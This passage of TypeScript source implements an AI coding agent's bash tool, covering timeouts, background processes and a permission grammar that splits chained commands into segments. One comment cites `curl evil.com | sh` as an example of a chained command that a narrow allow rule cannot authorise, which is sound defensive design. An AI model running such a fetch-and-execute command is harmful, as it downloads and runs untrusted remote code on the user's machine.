\"../../modes/interactive/theme/theme.ts\";\nimport { waitForChildProcess } from \"../../utils/child-process.ts\";\nimport {\n\tgetShellConfig,\n\tgetShellEnv,\n\tkillProcessTree,\n\ttype ShellConfig,\n\ttrackDetachedChildPid,\n\tuntrackDetachedChildPid,\n} from \"../../utils/shell.ts\";\nimport { setApexEnvironment } from \"../environment.ts\";\nimport { getExperimentalToolSampling } from \"../experimental.ts\";\nimport type { ExtensionContext, ToolRenderResultOptions } from \"../extensions/types.ts\";\nimport { type BackgroundShellRegistry, createBackgroundShellRegistry } from \"./background-shell.ts\";\nimport { classifyBashCommand } from \"./bash-command-segments.ts\";\nimport { type ApexToolDefinition, type PermissionSpec, toolUnion } from \"./contract.ts\";\nimport { OutputAccumulator } from \"./output-accumulator.ts\";\nimport { getTextOutput, invalidArgText, str } from \"./render-utils.ts\";\nimport { parseShellOperation } from \"./shell-operation.ts\";\nimport { wrapToolDefinition } from \"./tool-definition-wrapper.ts\";\nimport { DEFAULT_MAX_BYTES, DEFAULT_MAX_LINES, formatSize, type TruncationResult } from \"./truncate.ts\";\n\nconst MAX_TIMEOUT_MS = 2_147_483_647;\nconst MAX_TIMEOUT_SECONDS = MAX_TIMEOUT_MS / 1000;\n\n/**\n * Applied when a call names no `timeout`. One hour, which is 2.16x the slowest full suite run\n * recorded for this repository on the host ADR 0035 names. A default that merely cleared the\n * measurement would kill a real build on a slower machine, and a killed build presents as a\n * failing build rather than as a timeout, which is the expensive mistake.\n */\nexport const DEFAULT_BASH_TIMEOUT_SECONDS = 3600;\n\nfunction resolveTimeoutMs(timeout: number | undefined): number {\n\tif (timeout === undefined) return DEFAULT_BASH_TIMEOUT_SECONDS * 1000;\n\tif (!Number.isFinite(timeout) || timeout <= 0) {\n\t\tthrow new Error(\"Invalid timeout: must be a finite number of seconds\");\n\t}\n\n\tconst timeoutMs = timeout * 1000;\n\tif (timeoutMs > MAX_TIMEOUT_MS) {\n\t\tthrow new Error(`Invalid timeout: maximum is ${MAX_TIMEOUT_SECONDS} seconds`);\n\t}\n\treturn timeoutMs;\n}\n\nconst bashSchemaProperties = {\n\tcommand: Type.String({ description: \"Shell command to execute\" }),\n\ttimeout: Type.Optional(\n\t\tType.Number({\n\t\t\tdescription: `Timeout in seconds (default ${DEFAULT_BASH_TIMEOUT_SECONDS}; use background for longer work)`,\n\t\t}),\n\t),\n\tbackground: Type.Optional(\n\t\tType.Boolean({\n\t\t\tdescription:\n\t\t\t\t\"Run in the background and return a handle immediately. Retrieve with { handle }; kill with { handle, kill: true }.\",\n\t\t}),\n\t),\n\thandle: Type.String({\n\t\tdescription:\n\t\t\t\"Handle from a background launch. Supply it alone to retrieve output and status; add kill: true to terminate.\",\n\t}),\n\tkill: Type.Boolean({\n\t\tdescription: \"Set to true only with a background handle to terminate its command; otherwise omit or use false.\",\n\t}),\n};\n\nconst bashSchema = toolUnion(\n\t[\n\t\tType.Object({\n\t\t\tcommand: Type.String(),\n\t\t\ttimeout: Type.Optional(Type.Number()),\n\t\t\tbackground: Type.Optional(Type.Boolean()),\n\t\t\tkill: Type.Optional(Type.Literal(false)),\n\t\t}),\n\t\tType.Object({ handle: Type.String(), kill: Type.Optional(Type.Literal(false)) }),\n\t\tType.Object({ handle: Type.String(), kill: Type.Literal(true) }),\n\t],\n\tbashSchemaProperties,\n);\n\nexport const bashToolSystemPromptContribution = {\n\tsnippet: \"Execute bash commands (ls, grep, find, etc.)\",\n\tguidelines: [\"You can inspect PI_* environment variables for current model and session details.\"],\n} as const;\n\nexport type BashToolInput = Static<typeof bashSchema>;\n\nfunction normalizeSegment(text: string): string {\n\treturn text.trim().replace(/\\s+/g, \" \");\n}\n\n/**\n * A rule matches a segment either by exact text, or — when it ends with the `:*`\n * suffix convention (e.g. `git commit:*`) — by prefix: the segment must equal the\n * prefix or start with the prefix followed by a space. `git commit:*` therefore\n * matches `git commit` and `git commit -m x`, but not `git commitment` (word\n * boundary enforced) and not an unrelated segment in the same chained command.\n */\nfunction hasGrammarSensitiveStructure(value: string): boolean {\n\treturn /[\"'\\\\\\t\\n#]/.test(value);\n}\n\nfunction segmentMatchesRule(segment: string, ruleContent: string): boolean {\n\tconst sensitive = hasGrammarSensitiveStructure(segment) || hasGrammarSensitiveStructure(ruleContent);\n\tconst normalizedSegment = sensitive ? segment : normalizeSegment(segment);\n\tconst normalizedRule = sensitive ? ruleContent : normalizeSegment(ruleContent);\n\tif (normalizedRule.endsWith(\":*\")) {\n\t\tconst prefix = normalizedRule.slice(0, -2).trim();\n\t\tif (!prefix) return false;\n\t\treturn normalizedSegment === prefix || normalizedSegment.startsWith(`${prefix} `);\n\t}\n\treturn normalizedSegment === normalizedRule;\n}\n\n/**\n * bash's permission grammar (ADR 0004). A rule authorizes a call only if the\n * command decomposes cleanly into segments (never on \"unparseable\") and **every**\n * segment matches — a narrow rule like `git commit:*` can never authorize\n * `git commit -m x && curl evil.com | sh`, because `curl evil.com` and `sh` are\n * separate segments that do not match it.\n *\n * `ruleForCall` only generalizes a single-segment command: a multi-segment chain\n * has no single non-trivial rule that captures exactly what it did, and returning\n * one would either over-authorize (if loose) or be indistinguishable from an exact\n * match (if not) — `null` correctly forces `ask` for \"always allow this\" on a chain.\n */\n/**\n * Reserved rule content for retrieve/kill calls on background handles. These\n * perform no new execution -- the command they operate on was already gated at\n * launch -- so `defaultBehaviorFor` allows them when no rule matches, while a\n * `Bash(background-handle)` rule (allow *or* deny) still governs them\n * explicitly.\n */\nconst BACKGROUND_HANDLE_RULE = \"background-handle\";\n\nexport function createBashPermissionSpec(): PermissionSpec<typeof bashSchema> {\n\treturn {\n\t\tdefaultBehavior: \"ask\",\n\t\tdefaultBehaviorFor(params) {\n\t\t\tconst parsed = parseShellOperation(params);\n\t\t\tif (!parsed.ok) return undefined;\n\t\t\treturn parsed.operation.kind === \"run\" ? undefined : \"allow\";\n\t\t},\n\t\tmatches(ruleContent, params) {\n\t\t\tconst parsed = parseShellOperation(params);\n\t\t\t// An unparseable call is never authorized by an allow rule; `isUnknown`\n\t\t\t// keeps it out of them and pulls every deny rule onto it.\n\t\t\tif (!parsed.ok) return false;\n\t\t\tif (parsed.operation.kind !== \"run\") return ruleContent === BACKGROUND_HANDLE_RULE;\n\t\t\tconst classification = classifyBashCommand(parsed.operation.command);\n\t\t\treturn (\n\t\t\t\tclassification.type === \"segments\" &&\n\t\t\t\tclassification.segments.every((segment) => segmentMatchesRule(segment, ruleContent))\n\t\t\t);\n\t\t},\n\t\tmatchesDeny(ruleContent, params) {\n\t\t\tconst parsed = parseShellOperation(params);\n\t\t\tif (!parsed.ok) return false;\n\t\t\tif (parsed.operation.kind !== \"run\") return ruleContent === BACKGROUND_HANDLE_RULE;\n\t\t\tconst classification = classifyBashCommand(parsed.operation.command);\n\t\t\treturn (\n\t\t\t\tclassification.type === \"segments\" &&\n\t\t\t\tclassification.segments.some((segment) => segmentMatchesRule(segment, ruleContent))\n\t\t\t);\n\t\t},\n\t\tisUnknown(params) {\n\t\t\tconst parsed = parseShellOperation(params);\n\t\t\tif (!parsed.ok) return true;\n\t\t\treturn parsed.operation.kind === \"run\" && classifyBashCommand(parsed.operation.command).type !== \"segments\";\n\t\t},\n\t\tdescribe(ruleContent) {\n\t\t\tif (ruleContent === BACKGROUND_HANDLE_RULE) {\n\t\t\t\treturn \"Retrieve or kill background shell commands\";\n\t\t\t}\n\t\t\treturn `Run bash commands matching \"${ruleContent}\"`;\n\t\t},\n\t\tpreviewCall(params) {\n\t\t\t// The command string is the entire effect being authorized. There is\n\t\t\t// nothing to read and nothing to summarise: showing it exactly, including\n\t\t\t// whitespace the rule grammar treats as significant, is the preview.\n\t\t\tconst parsed = parseShellOperation(params);\n\t\t\tif (!parsed.ok) return { kind: \"summary\", lines: [parsed.reason] };\n\t\t\tif (parsed.operation.kind === \"kill\") {\n\t\t\t\treturn { kind: \"summary\", lines: [`Kill background shell command ${parsed.operation.handle}`] };\n\t\t\t}\n\t\t\tif (parsed.operation.kind === \"retrieve\") {\n\t\t\t\treturn {\n\t\t\t\t\tkind: \"summary\",\n\t\t\t\t\tlines: [`Retrieve output from background shell command ${parsed.operation.handle}`],\n\t\t\t\t};\n\t\t\t}\n\t\t\treturn { kind: \"summary\", lines: [parsed.operation.command] };\n\t\t},\n\t\truleForCall(params) {\n\t\t\tconst parsed = parseShellOperation(params);\n\t\t\tif (!parsed.ok) return null;\n\t\t\tif (parsed.operation.kind !== \"run\") {\n\t\t\t\treturn BACKGROUND_HANDLE_RULE;\n\t\t\t}\n\t\t\tconst classification = classifyBashCommand(parsed.operation.command);\n\t\t\tif (classification.type !== \"segments\" || classification.segments.length !== 1) return null;\n\t\t\tconst segment = classification.segments[0];\n\t\t\treturn hasGrammarSensitiveStructure(segment) ? segment : normalizeSegment(segment);\n\t\t},\n\t};\n}\n\nexport interface BashExecutionFacts {\n\tcwd: string;\n\texecutable?: string;\n\targv?: string[];\n\texitCode: number | null;\n}\n\nexport interface BashToolDetails {\n\ttruncation?: TruncationResult;\n\tfullOutputPath?: string;\n\t/** Facts observed at the source execution boundary; never rendered as output. */\n\texecution?: BashExecutionFacts;\n}\n\n/**\n * Pluggable operations for the bash tool.\n * Override these to delegate command execution to remote systems (for example SSH).\n */\nexport interface BashOperations {\n\t/**\n\t * Execute a command and stream output.\n\t * @param command The command to execute\n\t * @param cwd Working directory\n\t * @param options Execution options\n\t * @returns Promise resolving to exit code (null if killed)\n\t */\n\texec: (\n\t\tcommand: string,\n\t\tcwd: string,\n\t\toptions: {\n\t\t\tonData: (data: Buffer) => void;\n\t\t\tsignal?: AbortSignal;\n\t\t\ttimeout?: number;\n\t\t\tenv?: NodeJS.ProcessEnv;\n\t\t},\n\t) => Promise<{ exitCode: number | null; executable?: string; argv?: string[] }>;\n\t/**\n\t * Optional. Spawn a command that outlives the call, returning as soon as the\n\t * process exists. Backends that cannot background leave this undefined, and\n\t * the bash tool then rejects `background: true` with a model-readable error\n\t * rather than degrading (spec 2026-08-31-background-shell.md).\n\t */\n\tspawnBackground?: (\n\t\tcommand: string,\n\t\tcwd: string,\n\t\toptions: {\n\t\t\tonData: (data: Buffer) => void;\n\t\t\tenv?: NodeJS.ProcessEnv;\n\t\t},\n\t) => Promise<BashBackgroundProcess>;\n}\n\nexport interface BashBackgroundProcess {\n\tpid: number | undefined;\n\texited: Promise<number | null>;\n}\n\n/** Shared process execution used by the built-in shell tools. */\nexport function createLocalShellOperations(shellName: string, resolveShellConfig: () => ShellConfig): BashOperations {\n\treturn {\n\t\texec: async (command, cwd, { onData, signal, timeout, env }) => {\n\t\t\tconst timeoutMs = resolveTimeoutMs(timeout);\n\t\t\tif (signal?.aborted) {\n\t\t\t\tthrow new Error(\"aborted\");\n\t\t\t}\n\t\t\tconst shellConfig = resolveShellConfig();\n\t\t\ttry {\n\t\t\t\tawait fsAccess(cwd, constants.F_OK);\n\t\t\t} catch {\n\t\t\t\tthrow new Error(`Working directory does not exist: ${cwd}\\nCannot execute ${shellName} commands.`);\n\t\t\t}\n\n\t\t\tconst commandFromStdin = shellConfig.commandTransport === \"stdin\";\n\t\t\tconst child = spawn(shellConfig.shell, commandFromStdin ? shellConfig.args : [...shellConfig.args, command], {\n\t\t\t\tcwd,\n\t\t\t\tdetached: process.platform !== \"win32\",\n\t\t\t\tenv: env ?? getShellEnv(),\n\t\t\t\tstdio: [commandFromStdin ? \"pipe\" : \"ignore\", \"pipe\", \"pipe\"],\n\t\t\t\twindowsHide: true,\n\t\t\t});\n\t\t\tif (commandFromStdin) {\n\t\t\t\tchild.stdin?.on(\"error\", () => {});\n\t\t\t\tchild.stdin?.end(command);\n\t\t\t}\n\t\t\tif (child.pid) trackDetachedChildPid(child.pid);\n\t\t\tlet timedOut = false;\n\t\t\tlet timeoutHandle: NodeJS.Timeout | undefined;\n\t\t\tconst onAbort = () => {\n\t\t\t\tif (child.pid) killProcessTree(child.pid);\n\t\t\t};\n\n\t\t\ttry {\n\t\t\t\ttimeoutHandle = setTimeout(() => {\n\t\t\t\t\ttimedOut = true;\n\t\t\t\t\tif (child.pid) killProcessTree(child.pid);\n\t\t\t\t}, timeoutMs);\n\t\t\t\t// Stream stdout and stderr.\n\t\t\t\tchild.stdout?.on(\"data\", onData);\n\t\t\t\tchild.stderr?.on(\"data\", onData);\n\t\t\t\t// Handle abort signal by killing the entire process tree.\n\t\t\t\tif (signal) {\n\t\t\t\t\tif (signal.aborted) onAbort();\n\t\t\t\t\telse signal.addEventListener(\"abort\", onAbort, { once: true });\n\t\t\t\t}\n\t\t\t\t// Handle shell spawn errors and wait for the process to terminate without hanging\n\t\t\t\t// on inherited stdio handles held by detached descendants.\n\t\t\t\tconst exitCode = await waitForChildProcess(child);\n\t\t\t\tif (signal?.aborted) {\n\t\t\t\t\tthrow new Error(\"aborted\");\n\t\t\t\t}\n\t\t\t\tif (timedOut) {\n\t\t\t\t\tthrow new Error(`timeout:${timeoutMs / 1000}`);\n\t\t\t\t}\n\t\t\t\treturn {\n\t\t\t\t\texitCode,\n\t\t\t\t\texecutable: shellConfig.shell,\n\t\t\t\t\targv: commandFromStdin ? [...shellConfig.args] : [...shellConfig.args, command],\n\t\t\t\t};\n\t\t\t} finally {\n\t\t\t\tif (child.pid) untrackDetachedChildPid(child.pid);\n\t\t\t\tif (timeoutHandle) clearTimeout(timeoutHandle);\n\t\t\t\tif (signal) signal.removeEventListener(\"abort\", onAbort);\n\t\t\t}\n\t\t},\n\t\tspawnBackground: async (command, cwd, { onData, env }) => {\n\t\t\tconst shellConfig = resolveShellConfig();\n\t\t\ttry {\n\t\t\t\tawait fsAccess(cwd, constants.F_OK);\n\t\t\t} catch {\n\t\t\t\tthrow new Error(`Working directory does not exist: ${cwd}\\nCannot execute ${shellName} commands.`);\n\t\t\t}\n\t\t\tconst commandFromStdin = shellConfig.commandTransport === \"stdin\";\n\t\t\tconst child = spawn(shellConfig.shell, commandFromStdin ? shellConfig.args : [...shellConfig.args, command], {\n\t\t\t\tcwd,\n\t\t\t\tdetached: process.platform !== \"win32\",\n\t\t\t\tenv: env ?? getShellEnv(),\n\t\t\t\tstdio: [commandFromStdin ? \"pipe\" : \"ignore\", \"pipe\", \"pipe\"],\n\t\t\t\twindowsHide: true,\n\t\t\t});\n\t\t\tif (commandFromStdin) {\n\t\t\t\tchild.stdin?.on(\"error\", () => {});\n\t\t\t\tchild.stdin?.end(command);\n\t\t\t}\n\t\t\tif (child.pid) trackDetachedChildPid(child.pid);\n\t\t\tchild.stdout?.on(\"data\", onData);\n\t\t\tchild.stderr?.on(\"data\", onData);\n\t\t\tconst exited = waitForChildProcess(child).finally(() => {\n\t\t\t\tif (child.pid) untrackDetachedChildPid(child.pid);\n\t\t\t});\n\t\t\treturn { pid: child.pid, exited };\n\t\t},\n\t};\n}\n\n/**\n * Create bash operations using pi's built-in local shell execution backend.\n *\n * This is useful for extensions that intercept user_bash and still want pi's\n * standard local shell behavior while wrapping or rewriting commands.\n */\nexport function createLocalBashOperations(options?: { shellPath?: string }): BashOperations {\n\treturn createLocalShellOperations(\"bash\", () => getShellConfig(options?.shellPath));\n}\n\nexport interface BashSpawnContext {\n\tcommand: string;\n\tcwd: string;\n\tenv: NodeJS.ProcessEnv;\n}\n\nexport type BashSpawnHook = (context: BashSpawnContext) => BashSpawnContext;\n\nfunction resolveSpawnContext(\n\tcommand: string,\n\tcwd: string,\n\tspawnHook: BashSpawnHook | undefined,\n\texposeSessionEnvironment: boolean,\n\tctx: ExtensionContext | undefined,\n): BashSpawnContext {\n\tconst env = { ...getShellEnv() };\n\tsetApexEnvironment(\"APEX_CODE_SESSION_ID\", undefined, env);\n\tsetApexEnvironment(\"APEX_CODE_SESSION_FILE\", undefined, env);\n\tsetApexEnvironment(\"APEX_CODE_PROVIDER\", undefined, env);\n\tsetApexEnvironment(\"APEX_CODE_MODEL\", undefined, env);\n\tsetApexEnvironment(\"APEX_CODE_REASONING_LEVEL\", undefined, env);\n\tif (exposeSessionEnvironment && ctx) {\n\t\tconst model = ctx.model;\n\t\tsetApexEnvironment(\"APEX_CODE_SESSION_ID\", ctx.sessionManager.getSessionId(), env);\n\t\tconst sessionFile = ctx.sessionManager.getSessionFile();\n\t\tif (sessionFile) setApexEnvironment(\"APEX_CODE_SESSION_FILE\", sessionFile, env);\n\t\tif (model) {\n\t\t\tsetApexEnvironment(\"APEX_CODE_PROVIDER\", model.provider, env);\n\t\t\tsetApexEnvironment(\"APEX_CODE_MODEL\", model.id, env);\n\t\t}\n\t\tif (ctx.thinkingLevel) setApexEnvironment(\"APEX_CODE_REASONING_LEVEL\", ctx.thinkingLevel, env);\n\t}\n\tconst baseContext: BashSpawnContext = { command, cwd, env };\n\treturn spawnHook ? spawnHook(baseContext) : baseContext;\n}\n\nexport interface BashToolOptions {\n\t/** Custom operations for command execution. Default: local shell */\n\toperations?: BashOperations;\n\t/** Command prefix prepended to every command (for example shell setup commands) */\n\tcommandPrefix?: string;\n\t/** Optional explicit shell path from settings */\n\tshellPath?: string;\n\t/** Expose current Pi session metadata as PI_* environment variables. Default: true */\n\texposeSessionEnvironment?: boolean;\n\t/** Hook to adjust command, cwd, or env before execution */\n\tspawnHook?: BashSpawnHook;\n\t/**\n\t * Background-shell registry (spec 2026-08-31-background-shell.md). Absent\n\t * gets a per-definition registry; the session passes its own so background\n\t * children are killed when the session disposes.\n\t */\n\tbackgroundRegistry?: BackgroundShellRegistry;\n}\n\nconst BASH_PREVIEW_LINES = 5;\nconst BASH_UPDATE_THROTTLE_MS = 100;\n\ntype BashResultRenderState = {\n\tcachedWidth: number | undefined;\n\tcachedLines: string[] | undefined;\n\tcachedSkipped: number | undefined;\n};\n\nclass BashResultRenderComponent extends Container {\n\tstate: BashResultRenderState = {\n\t\tcachedWidth: undefined,\n\t\tcachedLines: undefined,\n\t\tcachedSkipped: undefined,\n\t};\n}\n\nexport function formatShellCall(\n\targs: { command?: string; timeout?: number; handle?: string; kill?: boolean } | undefined,\n\tprompt: string,\n): string {\n\tconst invalid = () => theme.fg(\"toolTitle\", theme.bold(`${prompt} ${invalidArgText(theme)}`));\n\tconst command = str(args?.command);\n\tconst handle = str(args?.handle);\n\tif (command === null || handle === null) return invalid();\n\n\tconst parsed = parseShellOperation(args ?? {});\n\tif (!parsed.ok) {\n\t\t// Arguments still arriving name no operation yet, so they render as a\n\t\t// placeholder. Anything that already names one and still fails to parse is\n\t\t// rejected at execution, and naming its command would describe something\n\t\t// that never runs.\n\t\tif (!command && !handle) {\n\t\t\treturn theme.fg(\"toolTitle\", theme.bold(`${prompt} ${theme.fg(\"toolOutput\", \"...\")}`));\n\t\t}\n\t\treturn invalid();\n\t}\n\tif (parsed.operation.kind !== \"run\") {\n\t\tconst suffix = parsed.operation.kind === \"kill\" ? \" · kill\" : \"\";\n\t\treturn theme.fg(\"toolTitle\", theme.bold(`${prompt} ${parsed.operation.handle}${suffix}`));\n\t}\n\tconst timeoutSuffix = parsed.operation.timeout ? theme.fg(\"muted\", ` (timeout ${parsed.operation.timeout}s)`) : \"\";\n\treturn theme.fg(\"toolTitle\", theme.bold(`${prompt} ${parsed.operation.command}`)) + timeoutSuffix;\n}\n\nfunction rebuildBashResultRenderComponent(\n\tcomponent: BashResultRenderComponent,\n\tresult: {\n\t\tcontent: Array<{ type: string; text?: string; data?: string; mimeType?: string }>;\n\t\tdetails?: BashToolDetails;\n\t},\n\toptions: ToolRenderResultOptions,\n\tshowImages: boolean,\n): void {\n\tconst state = component.state;\n\tcomponent.clear();\n\n\tlet output = getTextOutput(result as any, showImages).trim();\n\tconst truncation = result.details?.truncation;\n\tconst fullOutputPath = result.details?.fullOutputPath;\n\tif (!options.isPartial && truncation?.truncated && fullOutputPath && output.endsWith(\"]\")) {\n\t\tconst footerStart = output.lastIndexOf(\"\\n\\n[\");\n\t\tif (footerStart !== -1 && output.slice(footerStart).includes(fullOutputPath)) {\n\t\t\toutput = output.slice(0, footerStart).trimEnd();\n\t\t}\n\t}\n\n\tif (output) {\n\t\tconst styledOutput = output\n\t\t\t.split(\"\\n\")\n\t\t\t.map((line) => theme.fg(\"toolOutput\", line))\n\t\t\t.join(\"\\n\");\n\n\t\tif (options.expanded) {\n\t\t\tcomponent.addChild(new Text(`\\n${styledOutput}`, 0, 0));\n\t\t} else {\n\t\t\tcomponent.addChild({\n\t\t\t\trender: (width: number) => {\n\t\t\t\t\tif (state.cachedLines === undefined || state.cachedWidth !== width) {\n\t\t\t\t\t\tlet preview = truncateToVisualLines(styledOutput, BASH_PREVIEW_LINES, width);\n\t\t\t\t\t\tconst shown = previewLineCount(preview.visualLines.length + preview.skippedCount, BASH_PREVIEW_LINES);\n\t\t\t\t\t\tif (shown > preview.visualLines.length) preview = truncateToVisualLines(styledOutput, shown, width);\n\t\t\t\t\t\tstate.cachedLines = preview.visualLines;\n\t\t\t\t\t\tstate.cachedSkipped = preview.skippedCount;\n\t\t\t\t\t\tstate.cachedWidth = width;\n\t\t\t\t\t}\n\t\t\t\t\tif (state.cachedSkipped && state.cachedSkipped > 0) {\n\t\t\t\t\t\tconst hint = formatHiddenLines(state.cachedSkipped, \"earlier\");\n\t\t\t\t\t\treturn [\"\", truncateToWidth(hint, width, \"...\"), ...(state.cachedLines ?? [])];\n\t\t\t\t\t}\n\t\t\t\t\treturn [\"\", ...(state.cachedLines ?? [])];\n\t\t\t\t},\n\t\t\t\tinvalidate: () => {\n\t\t\t\t\tstate.cachedWidth = undefined;\n\t\t\t\t\tstate.cachedLines = undefined;\n\t\t\t\t\tstate.cachedSkipped = undefined;\n\t\t\t\t},\n\t\t\t});\n\t\t}\n\t}\n\n\tif (truncation?.truncated || fullOutputPath) {\n\t\tconst warnings: string[] = [];\n\t\tif (fullOutputPath) {\n\t\t\twarnings.push(`Full output: ${fullOutputPath}`);\n\t\t}\n\t\tif (truncation?.truncated) {\n\t\t\tif (truncation.truncatedBy === \"lines\") {\n\t\t\t\twarnings.push(`Truncated: showing ${truncation.outputLines} of ${truncation.totalLines} lines`);\n\t\t\t} else {\n\t\t\t\twarnings.push(\n\t\t\t\t\t`Truncated: ${truncation.outputLines} lines shown (${formatSize(truncation.maxBytes ?? DEFAULT_MAX_BYTES)} limit)`,\n\t\t\t\t);\n\t\t\t}\n\t\t}\n\t\tcomponent.addChild(new Text(`\\n${theme.fg(\"warning\", `[${warnings.join(\". \")}]`)}`, 0, 0));\n\t}\n}\n\nexport interface ShellToolConfig {\n\tname: string;\n\tlabel: string;\n\tshellName: string;\n\tprompt: string;\n\tpromptSnippet: string;\n\tpromptGuidelines?: readonly string[];\n\ttempFilePrefix: string;\n}\n\nexport function createShellToolDefinition(\n\tcwd: string,\n\tconfig: ShellToolConfig,\n\toptions?: BashToolOptions,\n): ApexToolDefinition<typeof bashSchema, BashToolDetails | undefined> {\n\tconst ops = options?.operations ?? createLocalBashOperations({ shellPath: options?.shellPath });\n\tconst commandPrefix = options?.commandPrefix;\n\tconst exposeSessionEnvironment = options?.exposeSessionEnvironment ?? true;\n\tconst spawnHook = options?.spawnHook;\n\tconst registry = options?.backgroundRegistry ?? createBackgroundShellRegistry();\n\n\t// Background handle calls (retrieve and kill) never touch the foreground\n\t// execution path, so the post-hoc escalation offer below is unreachable from\n\t// them by construction; the refusal note in `executeHandleCall` tells the\n\t// model a foreground rerun gets the offer (spec, Non-goals).\n\tconst unknownHandleError = (handle: string) => {\n\t\tconst known = registry.handles();\n\t\treturn new ToolExecutionError(\n\t\t\t`Unknown background handle: ${handle}.${known.length > 0 ? ` Known handles: ${known.join(\", \")}` : \" No background commands have been launched.\"}`,\n\t\t\tundefined,\n\t\t);\n\t};\n\tconst executeHandleCall = async (\n\t\thandleInput: { kind: \"retrieve\"; handle: string } | { kind: \"kill\"; handle: string },\n\t): Promise<AgentToolResult<BashToolDetails | undefined>> => {\n\t\tif (handleInput.kind === \"kill\") {\n\t\t\tconst status = registry.kill(handleInput.handle);\n\t\t\tif (!status) throw unknownHandleError(handleInput.handle);\n\t\t\tconst state = status.running ? \"kill signal sent\" : `already exited (code ${status.exitCode})`;\n\t\t\treturn {\n\t\t\t\tcontent: [{ type: \"text\", text: `[background] ${handleInput.handle}: ${state}` }],\n\t\t\t\tdetails: undefined,\n\t\t\t};\n\t\t}\n\t\tconst retrieved = await registry.retrieve(handleInput.handle);\n\t\tif (!retrieved) throw unknownHandleError(handleInput.handle);\n\t\tconst { status, snapshot } = retrieved;\n\t\tconst elapsed = ((Date.now() - status.startedAt) / 1000).toFixed(1);\n\t\tconst header = status.running\n\t\t\t? `[background] ${handleInput.handle}: running ${elapsed}s`\n\t\t\t: `[background] ${handleInput.handle}: ${status.killed ? \"killed\" : \"exited\"} (code ${status.exitCode}) after ${elapsed}s`;\n\t\tlet text = `${header}\\n\\n${snapshot.content || \"(no output)\"}`;\n\t\tconst truncation = snapshot.truncation;\n\t\tif (truncation.truncated && snapshot.fullOutputPath) {\n\t\t\tconst startLine = truncation.totalLines - truncation.outputLines + 1;\n\t\t\ttext += `\\n\\n[Showing lines ${startLine}-${truncation.totalLines} of ${truncation.totalLines}. Full output: ${snapshot.fullOutputPath}]`;\n\t\t}\n\t\treturn {\n\t\t\tcontent: [{ type: \"text\", text }],\n\t\t\tdetails: {\n\t\t\t\ttruncation: truncation.truncated ? truncation : undefined,\n\t\t\t\tfullOutputPath: snapshot.fullOutputPath,\n\t\t\t\texecution: { cwd, exitCode: status.exitCode ?? null },\n\t\t\t} satisfies BashToolDetails,\n\t\t};\n\t};\n\treturn {\n\t\tname: config.name,\n\t\tlabel: config.label,\n\t\tdescription: `Execute a ${config.shellName} command in the current working directory. Returns stdout and stderr. Output is truncated to last ${DEFAULT_MAX_LINES} lines or ${DEFAULT_MAX_BYTES / 1024}KB (whichever is hit first). If truncated, full output is saved to a temp file. Optionally provide a timeout in seconds; the default is ${DEFAULT_BASH_TIMEOUT_SECONDS}.`,\n\t\tpromptSnippet: config.promptSnippet,\n\t\tpromptGuidelines: exposeSessionEnvironment && config.promptGuidelines ? [...config.promptGuidelines] : undefined,\n\t\tparameters: bashSchema,\n\t\tcontract: {\n\t\t\tcapabilities: new Set([\"exec\"]),\n\t\t\tpermission: createBashPermissionSpec(),\n\t\t\tcontext: { resultRecoverable: false, deferSchema: false },\n\t\t\tevidence: {\n\t\t\t\temits: new Set([\"command\"]),\n\t\t\t\tcapture: (params, result) => {\n\t\t\t\t\tconst execution = result.details?.execution;\n\t\t\t\t\t// Retrieve and kill calls carry a handle; resolve it back to the\n\t\t\t\t\t// command that produced the output so the record shows what ran.\n\t\t\t\t\tconst parsed = parseShellOperation(params);\n\t\t\t\t\tconst command = !parsed.ok\n\t\t\t\t\t\t? \"(rejected shell call)\"\n\t\t\t\t\t\t: parsed.operation.kind === \"run\"\n\t\t\t\t\t\t\t? parsed.operation.command\n\t\t\t\t\t\t\t: (registry.commandFor(parsed.operation.handle) ?? parsed.operation.handle);\n\t\t\t\t\treturn execution ? [{ kind: \"command\", command, ...execution }] : [{ kind: \"command\", command }];\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\tconstrainedSampling: getExperimentalToolSampling(),\n\t\tasync execute(_toolCallId, input: BashToolInput, signal?: AbortSignal, onUpdate?, ctx?) {\n\t\t\tconst parsed = parseShellOperation(input);\n\t\t\tif (!parsed.ok) throw new ToolExecutionError(parsed.reason, undefined);\n\t\t\tif (parsed.operation.kind !== \"run\") {\n\t\t\t\treturn await executeHandleCall(parsed.operation);\n\t\t\t}\n\t\t\tconst { command, timeout, background } = parsed.operation;\n\t\t\tconst resolvedCommand = commandPrefix ? `${commandPrefix}\\n${command}` : command;\n\t\t\tconst spawnContext = resolveSpawnContext(resolvedCommand, cwd, spawnHook, exposeSessionEnvironment, ctx);\n\n\t\t\tif (background) {\n\t\t\t\tconst spawnBg = ops.spawnBackground;\n\t\t\t\tif (!spawnBg) {\n\t\t\t\t\tthrow new ToolExecutionError(\n\t\t\t\t\t\t\"This shell backend does not support background execution. Run the command in the foreground instead.\",\n\t\t\t\t\t\tundefined,\n\t\t\t\t\t);\n\t\t\t\t}\n\t\t\t\tconst output = new OutputAccumulator({ tempFilePrefix: config.tempFilePrefix });\n\t\t\t\tconst launched = await spawnBg(spawnContext.command, spawnContext.cwd, {\n\t\t\t\t\tenv: spawnContext.env,\n\t\t\t\t\tonData: (data) => output.append(data),\n\t\t\t\t});\n\t\t\t\tconst handle = registry.launch({\n\t\t\t\t\tcommand: spawnContext.command,\n\t\t\t\t\tpid: launched.pid,\n\t\t\t\t\toutput,\n\t\t\t\t\texited: launched.exited,\n\t\t\t\t});\n\t\t\t\treturn {\n\t\t\t\t\tcontent: [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\ttype: \"text\",\n\t\t\t\t\t\t\ttext: `[background] launched with handle ${handle}\\nRetrieve its output: { \"handle\": \"${handle}\" }\\nKill it: { \"handle\": \"${handle}\", \"kill\": true }`,\n\t\t\t\t\t\t},\n\t\t\t\t\t],\n\t\t\t\t\tdetails: { execution: { cwd: spawnContext.cwd, exitCode: null } },\n\t\t\t\t};\n\t\t\t}\n\n\t\t\tconst output = new OutputAccumulator({ tempFilePrefix: config.tempFilePrefix });\n\t\t\tlet acceptingOutput = true;\n\t\t\tlet updateTimer: NodeJS.Timeout | undefined;\n\t\t\tlet updateDirty = false;\n\t\t\tlet lastUpdateAt = 0;\n\n\t\t\tconst emitOutputUpdate = () => {\n\t\t\t\tif (!onUpdate || !updateDirty) return;\n\t\t\t\tupdateDirty = false;\n\t\t\t\tlastUpdateAt = Date.now();\n\t\t\t\tconst snapshot = output.snapshot({ persistIfTruncated: true });\n\t\t\t\tonUpdate({\n\t\t\t\t\tcontent: [{ type: \"text\", text: 